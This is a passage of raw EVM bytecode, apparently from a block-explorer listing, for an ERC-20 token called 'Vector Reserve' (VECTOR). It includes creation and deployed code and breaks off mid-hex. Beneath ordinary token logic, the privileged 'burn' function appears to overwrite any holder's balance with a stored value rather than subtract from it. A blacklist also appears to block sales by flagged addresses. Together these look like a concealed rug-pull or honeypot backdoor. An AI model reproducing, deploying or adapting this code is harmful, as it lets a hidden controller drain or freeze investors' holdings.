00081526004016113d590612fbd565b60405180910390fd5b60008111611421576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114189061304f565b60405180910390fd5b600061142b610a1a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114995750611469610a1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a385760006007541180156114b1575060075443115b80156114f057506114c0610a1a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114fe576114fd61219d565b5b61150882856121ea565b9050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115b55750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561177c5743600754036116b357600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661164f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611646906130bb565b60405180910390fd5b6009600a61165d919061320e565b6301312d0061166c9190613259565b8211156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a5906132e7565b60405180910390fd5b61177b565b6015548211156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90613353565b60405180910390fd5b60125482611705856107fc565b61170f9190613373565b1115611750576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611747906133f3565b60405180910390fd5b4360016007546117609190613373565b111561177a5761176f836122da565b1561177957600080fd5b5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561180557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611849576118466064611838600e546010541161182557600954611829565b600c545b856122ed90919063ffffffff16565b61236790919063ffffffff16565b90505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f15750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561194f5760125482611903856107fc565b61190d9190613373565b111561194e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611945906133f3565b60405180910390fd5b5b600061195a306107fc565b9050601a60149054906101000a900460ff161580156119c65750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119de5750601a60159054906101000a900460ff165b80156119eb575060165481115b80156119fa5750600f54601054115b15611a3657611a1c611a1784611a12846014546123b1565b6123b1565b611f24565b60004790506000811115611a3457611a33476123ca565b5b505b505b6000811115611b3c57611a9381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b339190612720565b60405180910390a35b611b8e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c35611be7828461249490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611cda848661249490919063ffffffff16565b604051611ce79190612720565b60405180910390a350505050565b6000838311158290611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3491906125d1565b60405180910390fd5b5060008385611d4c9190613413565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf906134b9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e469061354b565b60405180910390fd5b81601754611e5d9190613413565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254611eb29190613413565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f179190612720565b60405180910390a3505050565b6001601a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5c57611f5b612934565b5b604051908082528060200260200182016040528015611f8a5781602001602082028036833780820191505090505b5090503081600081518110611fa257611fa1612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206d9190613580565b8160018151811061208157612080612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e830601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214c9594939291906136a6565b600060405180830381600087803b15801561216657600080fd5b505af115801561217a573d6000803e3d6000fd5b50505050506000601a60146101000a81548160ff02191690831515021790555050565b6013546015819055506013546012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008546040516121e09190612720565b60405180910390a1565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561229557600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661229457600080fd5b5b6122d260646122c4600d5460105410156122b157600a546122b5565b600b545b866122ed90919063ffffffff16565b61236790919063ffffffff16565b905092915050565b600080823b905060008111915050919050565b60008083036122ff5760009050612361565b6000828461230d9190613259565b905082848261231c919061372f565b1461235c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612353906137d2565b60405180910390fd5b809150505b92915050565b60006123a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124de565b905092915050565b60008183116123c057826123c2565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b5050565b60008082846124459190613373565b90508381101561248a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124819061383e565b60405180910390fd5b8091505092915050565b60006124d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cf5565b905092915050565b60008083118290612525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251c91906125d1565b60405180910390fd5b5060008385612534919061372f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561257b578082015181840152602081019050612560565b60008484015250505050565b6000601f19601f8301169050919050565b60006125a382612541565b6125ad818561254c565b93506125bd81856020860161255d565b6125c681612587565b840191505092915050565b600060208201905081810360008301526125eb8184612598565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061263282612607565b9050919050565b61264281612627565b811461264d57600080fd5b50565b60008135905061265f81612639565b92915050565b6000819050919050565b61267881612665565b811461268357600080fd5b50565b6000813590506126958161266f565b92915050565b600080604083850312156126b2576126b16125fd565b5b60006126c085828601612650565b92505060206126d185828601612686565b9150509250929050565b60008115159050919050565b6126f0816126db565b82525050565b600060208201905061270b60008301846126e7565b92915050565b61271a81612665565b82525050565b60006020820190506127356000830184612711565b92915050565b600080600060608486031215612754576127536125fd565b5b600061276286828701612650565b935050602061277386828701612650565b925050604061278486828701612686565b9150509250925092565b600060ff82169050919050565b6127a48161278e565b82525050565b60006020820190506127bf600083018461279b565b92915050565b6000602082840312156127db576127da6125fd565b5b60006127e984828501612650565b91505092915050565b6000819050919050565b600061281761281261280d84612607565b6127f2565b612607565b9050919050565b6000612829826127fc565b9050919050565b600061283b8261281e565b9050919050565b61284b81612830565b82525050565b60006020820190506128666000830184612842565b92915050565b61287581612627565b82525050565b6000602082019050612890600083018461286c565b92915050565b6000602082840312156128ac576128ab6125fd565b5b60006128ba84828501612686565b91505092915050565b600080604083850312156128da576128d96125fd565b5b60006128e885828601612650565b92505060206128f985828601612650565b9150509250929050565b61290c816126db565b811461291757600080fd5b50565b60008135905061292981612903565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61296c82612587565b810181811067ffffffffffffffff8211171561298b5761298a612934565b5b80604052505050565b600061299e6125f3565b90506129aa8282612963565b919050565b600067ffffffffffffffff8211156129ca576129c9612934565b5b602082029050602081019050919050565b600080fd5b60006129f36129ee846129af565b612994565b90508083825260208201905060208402830185811115612a1657612a156129db565b5b835b81811015612a3f5780612a2b8882612650565b845260208401935050602081019050612a18565b5050509392505050565b600082601f830112612a5e57612a5d61292f565b5b8135612a6e8482602086016129e0565b91505092915050565b60008060408385031215612a8e57612a8d6125fd565b5b6000612a9c8582860161291a565b925050602083013567ffffffffffffffff811115612abd57612abc612602565b5b612ac985828601612a49565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b0960208361254c565b9150612b1482612ad3565b602082019050919050565b60006020820190508181036000830152612b3881612afc565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612b75600c8361254c565b9150612b8082612b3f565b602082019050919050565b60006020820190508181036000830152612ba481612b68565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612be160178361254c565b9150612bec82612bab565b602082019050919050565b60006020820190508181036000830152612c1081612bd4565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612c4d601f8361254c565b9150612c5882612c17565b602082019050919050565b60006020820190508181036000830152612c7c81612c40565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612cb9601b8361254c565b9150612cc482612c83565b602082019050919050565b60006020820190508181036000830152612ce881612cac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d5882612665565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d8a57612d89612d1e565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612df160248361254c565b9150612dfc82612d95565b604082019050919050565b60006020820190508181036000830152612e2081612de4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e8360228361254c565b9150612e8e82612e27565b604082019050919050565b60006020820190508181036000830152612eb281612e76565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f1560258361254c565b9150612f2082612eb9565b604082019050919050565b60006020820190508181036000830152612f4481612f08565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fa760238361254c565b9150612fb282612f4b565b604082019050919050565b60006020820190508181036000830152612fd681612f9a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061303960298361254c565b915061304482612fdd565b604082019050919050565b600060208201905081810360008301526130688161302c565b9050919050565b7f43616e27742062757920696e2074686520666972737420626c6f636b00000000600082015250565b60006130a5601c8361254c565b91506130b08261306f565b602082019050919050565b600060208201905081810360008301526130d481613098565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156131325780860481111561310e5761310d612d1e565b5b600185161561311d5780820291505b808102905061312b856130db565b94506130f2565b94509492505050565b60008261314b5760019050613207565b816131595760009050613207565b816001811461316f5760028114613179576131a8565b6001915050613207565b60ff84111561318b5761318a612d1e565b5b8360020a9150848211156131a2576131a1612d1e565b5b50613207565b5060208310610133831016604e8410600b84101617156131dd5782820a9050838111156131d8576131d7612d1e565b5b613207565b6131ea84848460016130e8565b9250905081840481111561320157613200612d1e565b5b81810290505b9392505050565b600061321982612665565b91506132248361278e565b92506132517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461313b565b905092915050565b600061326482612665565b915061326f83612665565b925082820261327d81612665565b9150828204841483151761329457613293612d1e565b5b5092915050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b60006132d1601a8361254c565b91506132dc8261329b565b602082019050919050565b60006020820190508181036000830152613300816132c4565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061333d60188361254c565b915061334882613307565b602082019050919050565b6000602082019050818103600083015261336c81613330565b9050919050565b600061337e82612665565b915061338983612665565b92508282019050808211156133a1576133a0612d1e565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006133dd601a8361254c565b91506133e8826133a7565b602082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b600061341e82612665565b915061342983612665565b925082820390508181111561344157613440612d1e565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006134a360218361254c565b91506134ae82613447565b604082019050919050565b600060208201905081810360008301526134d281613496565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061353560228361254c565b9150613540826134d9565b604082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b60008151905061357a81612639565b92915050565b600060208284031215613596576135956125fd565b5b60006135a48482850161356b565b91505092915050565b6000819050919050565b60006135d26135cd6135c8846135ad565b6127f2565b612665565b9050919050565b6135e2816135b7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61361d81612627565b82525050565b600061362f8383613614565b60208301905092915050565b6000602082019050919050565b6000613653826135e8565b61365d81856135f3565b935061366883613604565b8060005b838110156136995781516136808882613623565b975061368b8361363b565b92505060018101905061366c565b5085935050505092915050565b600060a0820190506136bb6000830188612711565b6136c860208301876135d9565b81810360408301526136da8186613648565b90506136e9606083018561286c565b6136f66080830184612711565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061373a82612665565b915061374583612665565b92508261375557613754613700565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137bc60218361254c565b91506137c782613760565b604082019050919050565b600060208201905081810360008301526137eb816137af565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613828601b8361254c565b9150613833826137f2565b602082019050919050565b600060208201905081810360008301526138578161381b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220598d4305c3d2f9603a98d49b5d18c06fac2d6851995c1c99501d7d8d677f499b64736f6c6343000813003300000000000000000000000074cc0439061a8e915fe4cc23d7aa3af45a0294e1

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638f9a55c0116100ec578063c2b7bbb61161008a578063e086e5ec11610064578063e086e5ec1461060d578063e1b1925814610624578063e2f3e9e61461064f578063ffb54a9914610678576101c2565b8063c2b7bbb614610590578063c9567bf9146105b9578063dd62ed3e146105d0576101c2565b8063a9059cbb116100c6578063a9059cbb146104d4578063b70143c914610511578063baeb7a7d1461053a578063bf474bed14610565576101c2565b80638f9a55c01461045557806395d89b41146104805780639dc29fac146104ab576101c2565b80633ef94721116101595780637d1db4a5116101335780637d1db4a5146103975780638bdb2afa146103c25780638c742b7a146103ed5780638da5cb5b1461042a576101c2565b80633ef947211461031857806370a0823114610343578063715018a614610380576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd14610285578063313ce567146102c25780633b7cdccd146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630faee56f1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106a3565b6040516101e991906125d1565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061269b565b6106e0565b60405161022691906126f6565b60405180910390f35b34801561023b57600080fd5b506102446106fe565b6040516102519190612720565b60405180910390f35b34801561026657600080fd5b5061026f610704565b60405161027c9190612720565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a7919061273b565b61070e565b6040516102b991906126f6565b60405180910390f35b3480156102ce57600080fd5b506102d76107e7565b6040516102e491906127aa565b60405180910390f35b3480156102f957600080fd5b506103026107f0565b60405161030f9190612720565b60405180910390f35b34801561032457600080fd5b5061032d6107f6565b60405161033a9190612720565b60405180910390f35b34801561034f57600080fd5b5061036a600480360381019061036591906127c5565b6107fc565b6040516103779190612720565b60405180910390f35b34801561038c57600080fd5b50610395610845565b005b3480156103a357600080fd5b506103ac610998565b6040516103b99190612720565b60405180910390f35b3480156103ce57600080fd5b506103d761099e565b6040516103e49190612851565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906127c5565b6109c4565b60405161042191906126f6565b60405180910390f35b34801561043657600080fd5b5061043f610a1a565b60405161044c919061287b565b60405180910390f35b34801561046157600080fd5b5061046a610a43565b6040516104779190612720565b60405180910390f35b34801561048c57600080fd5b50610495610a49565b6040516104a291906125d1565b60405180910390f35b3480156104b757600080fd5b506104d260048036038101906104cd919061269b565b610a86565b005b3480156104e057600080fd5b506104fb60048036038101906104f6919061269b565b610af5565b60405161050891906126f6565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612896565b610b13565b005b34801561054657600080fd5b5061054f610c40565b60405161055c9190612720565b60405180910390f35b34801561057157600080fd5b5061057a610c46565b6040516105879190612720565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b291906127c5565b610c4c565b005b3480156105c557600080fd5b506105ce610cf1565b005b3480156105dc57600080fd5b506105f760048036038101906105f291906128c3565b610e15565b6040516106049190612720565b60405180910390f35b34801561061957600080fd5b50610622610e9c565b005b34801561063057600080fd5b5061063961101a565b6040516106469190612720565b60405180910390f35b34801561065b57600080fd5b5061067660048036038101906106719190612a77565b611020565b005b34801561068457600080fd5b5061068d61111c565b60405161069a91906126f6565b60405180910390f35b60606040518060400160405280600e81526020017f566563746f722052657365727665000000000000000000000000000000000000815250905090565b60006106f46106ed61112f565b8484611137565b6001905092915050565b60145481565b6000600854905090565b600061071b848484611300565b6107dc8461072761112f565b6107d78560405180606001604052806028815260200161385f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf59092919063ffffffff16565b611137565b600190509392505050565b60006009905090565b600a5481565b600c5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084d61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d190612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f564543544f520000000000000000000000000000000000000000000000000000815250905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac761112f565b73ffffffffffffffffffffffffffffffffffffffff1614610ae757600080fd5b610af18282611d59565b5050565b6000610b09610b0261112f565b8484611300565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5461112f565b73ffffffffffffffffffffffffffffffffffffffff1614610b7457600080fd5b610b7d306107fc565b8111158015610b8c5750600081115b610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290612b8b565b60405180910390fd5b610bd481611f24565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c3c573d6000803e3d6000fd5b5050565b600b5481565b60165481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8d61112f565b73ffffffffffffffffffffffffffffffffffffffff1614610cad57600080fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610cf961112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d90612b1f565b60405180910390fd5b601a60169054906101000a900460ff1615610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd90612bf7565b60405180910390fd5b6001601a60156101000a81548160ff0219169083151502179055506001601a60166101000a81548160ff02191690831515021790555043600781905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ea461112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2890612b1f565b60405180910390fd5b601a60169054906101000a900460ff1615610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890612c63565b60405180910390fd5b600047905060008111610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090612ccf565b60405180910390fd5b610fd1610a1a565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611016573d6000803e3d6000fd5b5050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106161112f565b73ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b60005b81518110156111175760008282815181106110a2576110a1612cef565b5b6020026020010151905083600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061110e90612d4d565b92505050611084565b505050565b601a60169054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612e07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612e99565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f39190612720565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d590612fbd565b60405180910390fd5b60008111611421576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114189061304f565b60405180910390fd5b600061142b610a1a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114995750611469610a1a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a385760006007541180156114b1575060075443115b80156114f057506114c0610a1a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114fe576114fd61219d565b5b61150882856121ea565b9050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115b55750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561177c5743600754036116b357600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661164f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611646906130bb565b60405180910390fd5b6009600a61165d919061320e565b6301312d0061166c9190613259565b8211156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a5906132e7565b60405180910390fd5b61177b565b6015548211156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90613353565b60405180910390fd5b60125482611705856107fc565b61170f9190613373565b1115611750576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611747906133f3565b60405180910390fd5b4360016007546117609190613373565b111561177a5761176f836122da565b1561177957600080fd5b5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561180557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611849576118466064611838600e546010541161182557600954611829565b600c545b856122ed90919063ffffffff16565b61236790919063ffffffff16565b90505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f15750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561194f5760125482611903856107fc565b61190d9190613373565b111561194e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611945906133f3565b60405180910390fd5b5b600061195a306107fc565b9050601a60149054906101000a900460ff161580156119c65750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119de5750601a60159054906101000a900460ff165b80156119eb575060165481115b80156119fa5750600f54601054115b15611a3657611a1c611a1784611a12846014546123b1565b6123b1565b611f24565b60004790506000811115611a3457611a33476123ca565b5b505b505b6000811115611b3c57611a9381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b339190612720565b60405180910390a35b611b8e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c35611be7828461249490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243690919063ffffffff16565b600260008573ffffffffffffff